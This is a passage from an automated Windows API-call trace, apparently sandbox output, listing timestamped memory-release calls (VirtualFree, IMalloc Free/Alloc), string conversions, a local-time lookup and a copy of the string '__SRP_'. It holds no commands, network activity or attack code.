dwSize=0x0, dwFreeType=0x8000) returned 1 [0086.935] VirtualFree (lpAddress=0xcd50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0086.935] VirtualFree (lpAddress=0xcd60000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0086.936] VirtualFree (lpAddress=0xcd70000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0086.936] VirtualFree (lpAddress=0xcd80000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0086.937] VirtualFree (lpAddress=0xcd90000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0086.938] VirtualFree (lpAddress=0xcda0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0086.938] VirtualFree (lpAddress=0xcdb0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0086.939] VirtualFree (lpAddress=0xcdc0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0086.940] VirtualFree (lpAddress=0xcdd0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0086.940] VirtualFree (lpAddress=0xcde0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0086.941] VirtualFree (lpAddress=0xcdf0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0086.942] VirtualFree (lpAddress=0xce00000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0086.942] VirtualFree (lpAddress=0xce10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0086.943] VirtualFree (lpAddress=0xce20000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0086.943] VirtualFree (lpAddress=0xce30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0086.944] VirtualFree (lpAddress=0xce40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0086.945] VirtualFree (lpAddress=0xce50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0086.945] VirtualFree (lpAddress=0xce60000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0086.946] VirtualFree (lpAddress=0xce70000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0086.947] VirtualFree (lpAddress=0xce80000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0086.947] VirtualFree (lpAddress=0xce90000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0086.948] VirtualFree (lpAddress=0xcea0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0086.948] VirtualFree (lpAddress=0xceb0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0086.950] VirtualFree (lpAddress=0xcec0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0086.951] VirtualFree (lpAddress=0xced0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0086.951] VirtualFree (lpAddress=0xcee0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0086.952] IMalloc:Free (This=0x7fefe9e5380, pv=0xbb6a2d0) [0086.952] IMalloc:Free (This=0x7fefe9e5380, pv=0x7972040) [0086.952] RtlLookupFunctionEntry (in: ControlPc=0x7a21624, ImageBase=0x308830, HistoryTable=0x308850 | out: ImageBase=0x308830, HistoryTable=0x308850) returned 0x0 [0086.952] RtlLookupFunctionEntry (in: ControlPc=0x7a216e4, ImageBase=0x308830, HistoryTable=0x308850 | out: ImageBase=0x308830, HistoryTable=0x308850) returned 0x0 [0086.952] IMalloc:Free (This=0x7fefe9e5380, pv=0xbb90190) [0086.952] IMalloc:Free (This=0x7fefe9e5380, pv=0x781bdb0) [0086.952] IMalloc:Free (This=0x7fefe9e5380, pv=0x7a105a0) [0086.952] IMalloc:Free (This=0x7fefe9e5380, pv=0x79aea20) [0086.952] IMalloc:Free (This=0x7fefe9e5380, pv=0x79ae9d0) [0086.952] IMalloc:Free (This=0x7fefe9e5380, pv=0x781bf90) [0086.952] IMalloc:Free (This=0x7fefe9e5380, pv=0x781bd80) [0086.952] IMalloc:Free (This=0x7fefe9e5380, pv=0x7a10960) [0086.952] IMalloc:Free (This=0x7fefe9e5380, pv=0x796ee80) [0086.952] IMalloc:Free (This=0x7fefe9e5380, pv=0x796ee00) [0086.952] IMalloc:Free (This=0x7fefe9e5380, pv=0x795a700) [0086.952] IMalloc:Free (This=0x7fefe9e5380, pv=0x796d7a0) [0086.952] IMalloc:Free (This=0x7fefe9e5380, pv=0x7959c50) [0086.952] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x10) returned 0x796d7a0 [0086.952] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x80) returned 0x7959c50 [0086.952] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="0=5bf1ad1d", cchWideChar=11, lpMultiByteStr=0x309080, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0=5bf1ad1d", lpUsedDefaultChar=0x0) returned 11 [0086.952] GetLocalTime (in: lpSystemTime=0x309168 | out: lpSystemTime=0x309168*(wYear=0x7e1, wMonth=0xb, wDayOfWeek=0x2, wDay=0x1c, wHour=0x12, wMinute=0x13, wSecond=0x9, wMilliseconds=0xb5)) [0086.953] _ultow_s (in: _Value=0x5bf1ad1d, _Buffer=0x7ac8fc4, _BufferCount=0x9, _Radix=16 | out: _Buffer="5bf1ad1d") returned 0x0 [0086.953] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="0>5bf1ad1d", cchWideChar=11, lpMultiByteStr=0x3090c0, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0>5bf1ad1d", lpUsedDefaultChar=0x0) returned 11 [0086.953] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x18) returned 0x796ee00 [0086.953] IMalloc:Free (This=0x7fefe9e5380, pv=0x796ee00) [0086.953] _ultow_s (in: _Value=0x5bf1ad1d, _Buffer=0x7ac900c, _BufferCount=0x9, _Radix=16 | out: _Buffer="5bf1ad1d") returned 0x0 [0086.953] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="0?5bf1ad1d", cchWideChar=11, lpMultiByteStr=0x308ec0, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0?5bf1ad1d", lpUsedDefaultChar=0x0) returned 11 [0086.953] VirtualFree (lpAddress=0xd5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0086.953] VirtualFree (lpAddress=0xd5f0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0086.954] VirtualFree (lpAddress=0xd600000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0086.955] VirtualFree (lpAddress=0xd610000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0086.955] VirtualFree (lpAddress=0xd620000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0086.956] VirtualFree (lpAddress=0xd630000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0086.957] VirtualFree (lpAddress=0xd640000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0086.957] VirtualFree (lpAddress=0xd650000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0086.958] VirtualFree (lpAddress=0xd660000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0086.958] VirtualFree (lpAddress=0xd670000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0086.959] VirtualFree (lpAddress=0xd680000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0086.960] VirtualFree (lpAddress=0xd690000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0086.960] VirtualFree (lpAddress=0xd6a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0086.961] VirtualFree (lpAddress=0xd6b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0086.961] VirtualFree (lpAddress=0xd6c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0086.962] VirtualFree (lpAddress=0xd6d0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0086.963] VirtualFree (lpAddress=0xd6e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0086.963] VirtualFree (lpAddress=0xd6f0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0086.964] VirtualFree (lpAddress=0xd700000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0086.965] VirtualFree (lpAddress=0xd710000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0086.965] VirtualFree (lpAddress=0xd720000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0086.966] VirtualFree (lpAddress=0xd730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0086.967] VirtualFree (lpAddress=0xd740000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0086.967] VirtualFree (lpAddress=0xd750000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0086.968] VirtualFree (lpAddress=0xd760000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0086.968] VirtualFree (lpAddress=0xd770000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0086.969] VirtualFree (lpAddress=0xd780000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0086.969] VirtualFree (lpAddress=0xd790000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0086.970] VirtualFree (lpAddress=0xd7a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0086.971] VirtualFree (lpAddress=0xd7b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0086.971] VirtualFree (lpAddress=0xd7c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0086.972] VirtualFree (lpAddress=0xd7d0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0086.972] VirtualFree (lpAddress=0xd7e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0086.973] VirtualFree (lpAddress=0xd7f0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0086.974] VirtualFree (lpAddress=0xd800000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0086.974] VirtualFree (lpAddress=0xd810000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0086.975] VirtualFree (lpAddress=0xd820000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0086.975] VirtualFree (lpAddress=0xd830000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0086.976] VirtualFree (lpAddress=0xd840000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0086.977] VirtualFree (lpAddress=0xd860000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0086.977] VirtualFree (lpAddress=0xd870000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0086.978] VirtualFree (lpAddress=0xd880000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0086.978] VirtualFree (lpAddress=0xd890000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0086.979] VirtualFree (lpAddress=0xd8a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0086.979] VirtualFree (lpAddress=0xd8b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0086.981] VirtualFree (lpAddress=0xd8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0086.981] VirtualFree (lpAddress=0xd8d0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0086.982] VirtualFree (lpAddress=0xd8e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0086.982] VirtualFree (lpAddress=0xd8f0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0086.983] VirtualFree (lpAddress=0xd900000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0086.984] VirtualFree (lpAddress=0xd910000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0086.984] VirtualFree (lpAddress=0xd920000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0086.985] VirtualFree (lpAddress=0xd930000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0086.985] VirtualFree (lpAddress=0xd940000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0086.986] VirtualFree (lpAddress=0xd950000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0086.986] VirtualFree (lpAddress=0xd960000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0086.987] VirtualFree (lpAddress=0xd970000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0086.988] VirtualFree (lpAddress=0xd980000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0086.988] VirtualFree (lpAddress=0xd990000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0086.989] VirtualFree (lpAddress=0xd9a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0086.989] VirtualFree (lpAddress=0xd9b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0086.990] VirtualFree (lpAddress=0xd9c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0086.990] VirtualFree (lpAddress=0xd9d0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0086.991] VirtualFree (lpAddress=0xd9e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0086.992] VirtualFree (lpAddress=0xd9f0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0086.992] VirtualFree (lpAddress=0xda00000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0086.993] VirtualFree (lpAddress=0xda10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0086.993] VirtualFree (lpAddress=0xda20000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0086.994] VirtualFree (lpAddress=0xda30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0086.994] VirtualFree (lpAddress=0xda40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0086.995] VirtualFree (lpAddress=0xda50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0086.995] VirtualFree (lpAddress=0xda60000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0086.997] VirtualFree (lpAddress=0xda70000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0086.997] VirtualFree (lpAddress=0xda80000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0086.998] VirtualFree (lpAddress=0xda90000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0086.998] VirtualFree (lpAddress=0xdaa0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0086.999] VirtualFree (lpAddress=0xdab0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.000] VirtualFree (lpAddress=0xdac0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.000] VirtualFree (lpAddress=0xdad0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.001] VirtualFree (lpAddress=0xdae0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.001] VirtualFree (lpAddress=0xdaf0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.002] VirtualFree (lpAddress=0xdb00000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.002] VirtualFree (lpAddress=0xdb10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.003] VirtualFree (lpAddress=0xdb20000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.003] VirtualFree (lpAddress=0xdb30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.004] VirtualFree (lpAddress=0xdb40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.004] VirtualFree (lpAddress=0xdb50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.005] VirtualFree (lpAddress=0xdb60000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.006] VirtualFree (lpAddress=0xdb70000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.006] VirtualFree (lpAddress=0xdb80000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.007] VirtualFree (lpAddress=0xdb90000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.007] VirtualFree (lpAddress=0xdba0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.008] VirtualFree (lpAddress=0xdbb0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.008] VirtualFree (lpAddress=0xdbc0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.009] VirtualFree (lpAddress=0xdbd0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.009] VirtualFree (lpAddress=0xdbe0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.010] VirtualFree (lpAddress=0xdc00000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.010] VirtualFree (lpAddress=0xdc10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.011] VirtualFree (lpAddress=0xdc20000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.012] IMalloc:Free (This=0x7fefe9e5380, pv=0xbc170e0) [0087.012] RtlLookupFunctionEntry (in: ControlPc=0xbb54414, ImageBase=0x308830, HistoryTable=0x308850 | out: ImageBase=0x308830, HistoryTable=0x308850) returned 0x0 [0087.012] IMalloc:Free (This=0x7fefe9e5380, pv=0xbbd5ab0) [0087.012] IMalloc:Free (This=0x7fefe9e5380, pv=0x7972080) [0087.012] IMalloc:Free (This=0x7fefe9e5380, pv=0x7a10ae0) [0087.012] IMalloc:Free (This=0x7fefe9e5380, pv=0x79aeb60) [0087.012] IMalloc:Free (This=0x7fefe9e5380, pv=0x79720c0) [0087.012] IMalloc:Free (This=0x7fefe9e5380, pv=0x79720a0) [0087.012] IMalloc:Free (This=0x7fefe9e5380, pv=0x7a10ba0) [0087.012] IMalloc:Free (This=0x7fefe9e5380, pv=0x796d4a0) [0087.012] IMalloc:Free (This=0x7fefe9e5380, pv=0x7959bc0) [0087.012] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x10) returned 0x796d4a0 [0087.012] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x80) returned 0x7959bc0 [0087.012] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="0?5bf1ad1d", cchWideChar=11, lpMultiByteStr=0x309080, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0?5bf1ad1d", lpUsedDefaultChar=0x0) returned 11 [0087.012] GetLocalTime (in: lpSystemTime=0x309168 | out: lpSystemTime=0x309168*(wYear=0x7e1, wMonth=0xb, wDayOfWeek=0x2, wDay=0x1c, wHour=0x12, wMinute=0x13, wSecond=0x9, wMilliseconds=0xf4)) [0087.012] _ultow_s (in: _Value=0x5bf1ad1d, _Buffer=0x7ac900c, _BufferCount=0x9, _Radix=16 | out: _Buffer="5bf1ad1d") returned 0x0 [0087.012] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="0@5bf1ad1d", cchWideChar=11, lpMultiByteStr=0x3090c0, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0@5bf1ad1d", lpUsedDefaultChar=0x0) returned 11 [0087.012] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x18) returned 0x79720a0 [0087.012] IMalloc:Free (This=0x7fefe9e5380, pv=0x79720a0) [0087.012] _ultow_s (in: _Value=0x5bf1ad1d, _Buffer=0x7ac9054, _BufferCount=0x9, _Radix=16 | out: _Buffer="5bf1ad1d") returned 0x0 [0087.012] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="0A5bf1ad1d", cchWideChar=11, lpMultiByteStr=0x308ec0, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0A5bf1ad1d", lpUsedDefaultChar=0x0) returned 11 [0087.012] VirtualFree (lpAddress=0xcef0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.013] VirtualFree (lpAddress=0xcf00000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.014] VirtualFree (lpAddress=0xcf10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.014] VirtualFree (lpAddress=0xcf20000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.015] VirtualFree (lpAddress=0xcf30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.015] VirtualFree (lpAddress=0xcf40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.016] VirtualFree (lpAddress=0xcf50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.016] VirtualFree (lpAddress=0xcf60000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.017] VirtualFree (lpAddress=0xcf70000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.017] VirtualFree (lpAddress=0xcf80000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.018] VirtualFree (lpAddress=0xcf90000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.018] VirtualFree (lpAddress=0xcfa0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.019] VirtualFree (lpAddress=0xcfb0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.020] VirtualFree (lpAddress=0xcfc0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.020] VirtualFree (lpAddress=0xcfd0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.021] VirtualFree (lpAddress=0xcfe0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.021] VirtualFree (lpAddress=0xcff0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.022] VirtualFree (lpAddress=0xd000000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.022] VirtualFree (lpAddress=0xd010000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.023] VirtualFree (lpAddress=0xd020000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.023] VirtualFree (lpAddress=0xd030000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.024] VirtualFree (lpAddress=0xd040000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.024] VirtualFree (lpAddress=0xd050000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.025] VirtualFree (lpAddress=0xd060000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.025] VirtualFree (lpAddress=0xd070000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.026] VirtualFree (lpAddress=0xd080000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.026] VirtualFree (lpAddress=0xd090000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.027] VirtualFree (lpAddress=0xd0a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.028] VirtualFree (lpAddress=0xd0b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.028] VirtualFree (lpAddress=0xd0c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.029] VirtualFree (lpAddress=0xd0d0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.029] VirtualFree (lpAddress=0xd0e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.030] VirtualFree (lpAddress=0xd0f0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.030] VirtualFree (lpAddress=0xd100000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.031] VirtualFree (lpAddress=0xd110000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.031] VirtualFree (lpAddress=0xd120000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.032] VirtualFree (lpAddress=0xd130000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.032] VirtualFree (lpAddress=0xd140000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.033] VirtualFree (lpAddress=0xd150000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.033] VirtualFree (lpAddress=0xd160000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.034] VirtualFree (lpAddress=0xd170000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.034] VirtualFree (lpAddress=0xd180000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.035] VirtualFree (lpAddress=0xd190000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.036] VirtualFree (lpAddress=0xd1a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.036] VirtualFree (lpAddress=0xd1c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.037] VirtualFree (lpAddress=0xd1d0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.037] VirtualFree (lpAddress=0xd1e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.038] VirtualFree (lpAddress=0xd1f0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.038] VirtualFree (lpAddress=0xd200000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.039] VirtualFree (lpAddress=0xd210000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.039] VirtualFree (lpAddress=0xd220000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.040] VirtualFree (lpAddress=0xd230000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.040] VirtualFree (lpAddress=0xd240000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.041] VirtualFree (lpAddress=0xd250000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.041] VirtualFree (lpAddress=0xd260000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.042] VirtualFree (lpAddress=0xd270000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.042] VirtualFree (lpAddress=0xd280000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.044] VirtualFree (lpAddress=0xd290000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.044] VirtualFree (lpAddress=0xd2a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.045] VirtualFree (lpAddress=0xd2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.045] VirtualFree (lpAddress=0xd2c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.046] VirtualFree (lpAddress=0xd2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.046] VirtualFree (lpAddress=0xd2e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.047] VirtualFree (lpAddress=0xd2f0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.047] VirtualFree (lpAddress=0xd300000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.048] VirtualFree (lpAddress=0xd310000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.048] VirtualFree (lpAddress=0xd320000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.049] VirtualFree (lpAddress=0xd330000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.049] VirtualFree (lpAddress=0xd340000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.050] VirtualFree (lpAddress=0xd350000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.050] VirtualFree (lpAddress=0xd360000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.051] VirtualFree (lpAddress=0xd370000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.051] VirtualFree (lpAddress=0xd380000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.052] VirtualFree (lpAddress=0xd390000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.052] VirtualFree (lpAddress=0xd3a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.053] VirtualFree (lpAddress=0xd3b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.053] VirtualFree (lpAddress=0xd3c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.054] VirtualFree (lpAddress=0xd3d0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.054] VirtualFree (lpAddress=0xd3e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.055] VirtualFree (lpAddress=0xd3f0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.055] VirtualFree (lpAddress=0xd400000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.056] VirtualFree (lpAddress=0xd410000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.056] VirtualFree (lpAddress=0xd420000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.057] VirtualFree (lpAddress=0xd430000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.057] VirtualFree (lpAddress=0xd440000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.058] VirtualFree (lpAddress=0xd450000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.059] VirtualFree (lpAddress=0xd460000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.059] VirtualFree (lpAddress=0xd470000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.060] VirtualFree (lpAddress=0xd480000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.060] VirtualFree (lpAddress=0xd490000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.061] VirtualFree (lpAddress=0xd4a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.061] VirtualFree (lpAddress=0xd4b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.063] RtlLookupFunctionEntry (in: ControlPc=0xbb53d24, ImageBase=0x308830, HistoryTable=0x308850 | out: ImageBase=0x308830, HistoryTable=0x308850) returned 0x0 [0087.064] IMalloc:Free (This=0x7fefe9e5380, pv=0xbbdcef0) [0087.064] IMalloc:Free (This=0x7fefe9e5380, pv=0x7971ac0) [0087.064] IMalloc:Free (This=0x7fefe9e5380, pv=0x7a108a0) [0087.064] IMalloc:Free (This=0x7fefe9e5380, pv=0x79aeac0) [0087.064] IMalloc:Free (This=0x7fefe9e5380, pv=0x796de40) [0087.064] IMalloc:Free (This=0x7fefe9e5380, pv=0x7972020) [0087.064] IMalloc:Free (This=0x7fefe9e5380, pv=0x7a10a20) [0087.064] wcscpy_s (in: _Destination=0x795a770, _SizeInWords=0x7, _Source="__SRP_" | out: _Destination="__SRP_") returned 0x0 [0087.064] IMalloc:Alloc (This=0x7fefe9e5380, cb=0xb8) returned 0x7a10a20 [0087.064] IMalloc:Alloc (This=0x7fefe9e5380, cb=0xb8) returned 